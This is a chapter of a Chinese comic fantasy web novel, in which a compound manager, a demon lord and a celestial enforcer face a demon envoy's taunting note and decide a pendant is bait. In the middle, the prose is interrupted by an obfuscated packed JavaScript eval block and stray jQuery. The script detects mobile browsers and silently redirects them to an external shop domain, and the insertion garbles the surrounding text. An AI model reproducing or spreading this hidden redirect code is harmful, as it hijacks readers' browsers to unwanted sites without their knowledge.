沈知夏没有追许念薇。
准确地说,她追不上。
春和里北门刚放行完剧组车,老赵还站在门岗旁边核车牌,许念薇那辆保姆车已经跟着驶出小区,尾灯一晃,消失在路口。
刘巴抱着灭火器,望着车尾灯,发出灵魂疑问:“那现在怎么办?追车吗?”
刘海立刻低头记录:“右护法提出机动追击方案,缺点:无车。”
刘巴:“我可以跑。”
刘波冷冷道:“你跑不过四个轮子。”
刘巴不服:“尊上,属下巅峰时期——”
“现在你巅峰时期已过。”刘波说。
刘巴被一句话打回现实,沉痛地抱紧灭火器。
沈知夏没有理他们。
她站在北门内,把今晚的登记表重新翻了一遍。
道具箱查过。
乌严的工具箱查过。
剧组车辆查过。
可地下储藏室那道红线没有追出小区,反而指向春和里内部。
这说明他们刚才的判断里,有一部分是错的。
所谓“另一块碎片”,未必真的在某个道具箱里。
也可能被当成普通小物,夹在某个人的包、口袋、饰品盒里。
沈知夏打开剧组临时工作群,低头敲字。
【请今晚所有入场人员自查随身物品。凡是由剧组提供、临时领取、未登记的小件道具、饰品、配件,请拍照发群内备案。明早进组前统一核验。】
导演第一个跳出来。
【小沈老师,现在吗?】
沈知夏回:
【现在。】
副导演紧跟着发了三个收到。
刘巴凑过来看:“这样能查出来吗?”
沈知夏说:“查不出来,也能让他们知道,我们在查。”
刘波看着她手机屏幕,淡淡道:“撒网。”
白衡认真纠正:“排查。”
刘波:“仙界说话真难听。”
白衡:“你可以理解为合法撒网。”
刘海眼睛一亮:“此词甚妙。”
群里很快热闹起来。
有人发了一根塑料簪子。
有人发了腰带扣。
有人发了假玉佩。
还有灯光师发了一张半包薄荷糖的照片,配字:
【这个算小件吗?】
刘巴盯着那包薄荷糖,神色凝重:“这个可疑。”
沈知夏:“那是糖。”
刘巴:“万一敌人就赌我们觉得它是糖呢?”
刘波:“敌人若用糖算计你,不必赌。”
刘巴:“……”
刘海记录:“右护法与糖类物品存在战略弱点。”
刘巴怒道:“你别什么都记!”
正乱着,许念薇的头像亮了一下。
她没有发语音。
只发了一张照片。
黑红色吊坠躺在手包夹层里,裂纹像烧过的玉。照片灯光很普通,车内冷白灯一照,那东西安静得像个审美过于阴间的时尚配饰。
下面跟着一句:
【这个算吗?】
沈知夏的手指停住。
她不知道这是不是他们要找的东西。
只知道它出现得太巧。
白衡看了半晌,眉头皱起:“只凭照片,不能断。”
刘波冷冷道:“查。”
沈知夏在群里回:
【算。先不要佩戴,不要交给任何人。明天进组前带来核验。】
许念薇隔了几秒才回。
【麻烦。】
又过了两秒。
【知道了。】
刘波看着那两个字,评价:“比刘巴聪明。”
刘巴:“尊上,您可以不夸她,也不用踩我。”
刘波:“本尊没有顺手踩。”
刘巴更难过了:“您是专门踩?”
沈知夏刚想把手机收起来,老赵电话打了进来。
“小沈。”老赵声音压得很低,“北门又来人了。”
沈知夏抬眼:“谁?”
“吴严。”
“哪个吴?”
“口天吴。”
春和里北门内,几个人同时安静。
刘波慢慢笑了。
“吴严不是乌严。”他说,“他倒学会凡界文字游戏了。”
沈知夏对电话那边说:“赵叔,别开门。”
老赵立刻道:“没开!我把登记本都抱怀里了!”
沈知夏:“登记本不用抱。”
老赵:“我怕他抢。”
刘波淡淡道:“他若抢登记本,魔界确实没落了。”
北门灯光亮得发白。
门禁玻璃外,黑衣人站在那里。
黑工装,帽檐压低,手里提着灰色工具箱。礼貌得像来送外卖,阴森得像外卖里装的是退货的命运。
沈知夏走到门内,没有开门。
“你回来拿什么?”
门外人抬头:“线夹。”
沈知夏看了一眼他手里的工具箱:“工具箱在你手上。”
对方停了一秒。
“那可能是我记错了。”
刘巴小声:“这理由比我还烂。”
刘海:“你有自知之明,是进步。”
白衡上前:“白天你登记为乌严。”
门外人平静道:“剧组里大家叫我小乌。吴严是证件名。”
老赵立刻翻本子:“你白天自己写的就是乌严!”
门外人:“笔误。”
老赵怒了:“两个字都能笔误?你当我小学没毕业?”
沈知夏第一次觉得老赵今晚气势很足。
可惜下一秒,老赵就转头问她:“小沈,我这句说得合适吗?”
沈知夏:“挺合适。”
老赵立刻挺胸。
刘波往前一步。
沈知夏伸手,拽住他的袖口。
刘波低头看她。
沈知夏没说话,只用眼神提醒:门,别开。
门外人的目光落在她手上,笑意忽然深了一点。
“原来如此。”
沈知夏最烦这种“原来如此”。
通常说这四个字的人,什么都没懂,但已经把脑补写完了三千字。
刘波眼神冷下来:“看够了?”
门外人轻声道:“旧尊还活着,确实令人意外。只是没想到,您如今进出一扇门,也要等人点头。”
老赵茫然:“啥旧尊?”
沈知夏立刻说:“他说旧道具。”
老赵更茫然:“哦。”
白衡挡到沈知夏半步前:“夜间回访未完成电话确认,不得入内。请离开。”
门外人看向他:“仙界执法者,现在替凡人看门?”
白衡面不改色:“门禁也是秩序。”
刘波居然点头:“这句能听。”
白衡看他:“你认同我?”
刘波:“本尊只是短暂不想反驳。”
刘海在后面奋笔疾书:“尊上今日疑似夸奖仙界人员一次。”
刘波:“划掉。”
刘海:“已写入战史,无法撤回。”
沈知夏头疼:“现在不是写战史的时候。”
门外人从工具箱侧袋里抽出一张白色道具标签纸,慢慢贴在门禁玻璃外。
动作很慢,像生怕他们看不清。
纸上只有一行字:
旧尊若还活着,明夜来取。
刘巴念完,茫然:“取啥?快递?”
没人理他。
刘波盯着那行字,脸上没什么表情。
越没表情,沈知夏越觉得不妙。
她先拍照。
白衡也拍照。
刘海从旁边挤过来补角度:“正面一张,侧面一张,敌方嚣张特写一张。”
老赵问:“要不要开闪光灯?”
沈知夏:“不用。”
刘巴举起灭火器:“要不我给他一点光?”
沈知夏:“也不用。”
门外人贴完纸,后退一步,看向刘波。
“明夜,别让他失望。”
刘波隔着玻璃,声音很淡:“回去告诉他,本尊活着。”
门外人笑了一下,转身走进夜色里。
老赵急了:“真让他走啊?”
沈知夏:“不追。”
刘波看她。
沈知夏说:“他今晚来,就是想看我们追不追。”
白衡点头:“若追,我们乱。若开门,我们也乱。”
刘巴恍然:“那我们不追不开,他是不是白来?”
刘海沉吟:“从羞辱效果上看,他完成了一半。”
刘波:“殷止。”
刘海迅速改口:“但我方精神状态稳定,敌方战略收益有限。”
沈知夏戴上手套,把玻璃上的标签纸取下来,装进袋子。
她看着那行字,忽然觉得荒唐。
魔界使者半夜不破阵,不杀人,不放狠招。
他贴小纸条。
贴在春和里门禁玻璃上。
这要是传回魔界,魔界史官都得停笔三天。
刘波冷冷道:“你笑什么?”
沈知夏:“没什么。”
刘波:“你在笑本尊被贴条。”
沈知夏:“没有。”
白衡认真补刀:“客观来说,是春和里门禁被贴条。”
刘巴:“那要罚款吗?”
老赵立刻警觉:“乱贴小广告当然要罚!”
沈知夏:“赵叔,这个先不走城管流程。”
老赵遗憾地“哦”了一声。
沈知夏把证物袋收好,又看了一眼手机里那张吊坠照片。
她忽然明白了什么。
“吊坠不是他真正想藏的东西。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783186|210133||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
白衡点头:“若是真碎片,他不会让它离开小区,也不会今晚再回来暴露自己。”
刘波冷笑:“是饵。”
沈知夏接上:“他想让我们以为另一块碎片在许念薇身上。”
白衡说:“至少目前只能这么判断。明天实物核验前,不能定死。”
刘波盯着北门外:“摆得这么亮,怕本尊看不见。”
沈知夏把手机收起来:“明天照常拍摄。”
刘巴震惊:“还拍?敌人都下战书了!”
沈知夏:“他就是想让我们停。”
刘海点头:“敌人越想我方停工,我方越要坚持生产。”
白衡:“这叫保持秩序。”
刘波:“这叫烦。”
沈知夏看向刘波:“明晚你不许单独行动。”
刘波:“本尊——”
“尤其是你。”
白衡跟着说:“我同意。”
沈知夏看向白衡:“你也一样。”
白衡:“……”
刘海奋笔疾书:“仙魔双方同时被限制自由行动,历史性一幕。”
刘波:“再写,本尊让你去守垃圾亭。”
刘海默默把本子合上。
刘巴举手:“那我呢?”
沈知夏:“你守活动室。”
刘巴眼睛一亮:“重任?”
沈知夏:“看着临时柜和群消息,别让任何人靠近异常物。包括你自己。”
刘巴:“为什么要强调包括我?”
刘波:“因为你看起来像会打开看看。”
刘巴委屈:“属下只是好奇心旺盛。”
刘海:“这通常是阵亡前兆。”
刘巴:“你闭嘴!”
夜里十点,春和里终于安静下来。
地下储藏室门口,封条完整,锁也完整。
三号箱还在里面,那道红线已经缩回门缝下,像一根不甘心的鱼线。
沈知夏站在门前,把今晚所有照片备份。
标签纸。
登记表。
北门监控时间。
剧组群自查记录。
许念薇发来的吊坠照片。
一条线慢慢清楚了。
三号箱是真的。
吊坠大概率是饵。
吴严是钩。
明夜来取,是钓竿。
而刘波,是对方想钓上来的那条最暴躁的鱼。
沈知夏想到这里,看了刘波一眼。
刘波皱眉:“你又在心里骂本尊。”
沈知夏:“没有。”
刘波:“你有。”
白衡:“我也觉得有。”
沈知夏:“你们两个能不能不要在这种时候这么敏锐?”
刘巴从活动室方向探头:“小沈,那我今晚能坐着守吗?”
沈知夏:“能。”
刘巴:“能吃泡面吗?”
沈知夏:“不能。”
刘巴:“为什么?”
刘波:“怕你把饵当调料。”
刘巴悲愤地缩回去了。
沈知夏终于忍不住笑了一下。
笑完,她才发现刘波正看着她。
她收住笑:“看什么?”
刘波说:“他以为你会乱。”
沈知夏一顿。
刘波语气很淡:“你没有。”
楼道里的风从门缝钻进来,吹得封条轻轻响。
沈知夏忽然觉得,今晚那些乱七八糟的规则、登记、敌意和试探,都被这句话压平了一点。
她说:“你也没有。”
刘波别开脸:“本尊本来就没有。”
白衡在旁边冷静补充:“你刚才至少三次想开门。”
刘波:“刘白。”
白衡:“事实不会因威胁改变。”
刘海幽幽补了一句:“可记入战史。”
刘波:“你们仙界魔界是都不想活了?”
沈知夏把最后一张封条按平。
“明天我安排。”她说,“你们听我的。”
白衡点头:“合规。”
刘海点头:“合理。”
刘巴远远喊:“能不能安排夜宵?”
刘波沉默了很久。
久到沈知夏以为他又要说“本尊岂能听凡人调遣”。
可他只是低声道:
“好。”
这一个字很轻。
轻到差点被楼道里的风吹散。
但沈知夏听见了。
而活动室里,刘巴坐在临时柜前,抱着灭火器,盯着柜门上那两道封条,小声警告:
“你最好老实点。”
封条没动。
吊坠也没动。
只有刘巴的肚子,非常不合时宜地叫了一声。
他低头,沉痛地说:
“我也想老实。”
“但它不同意。”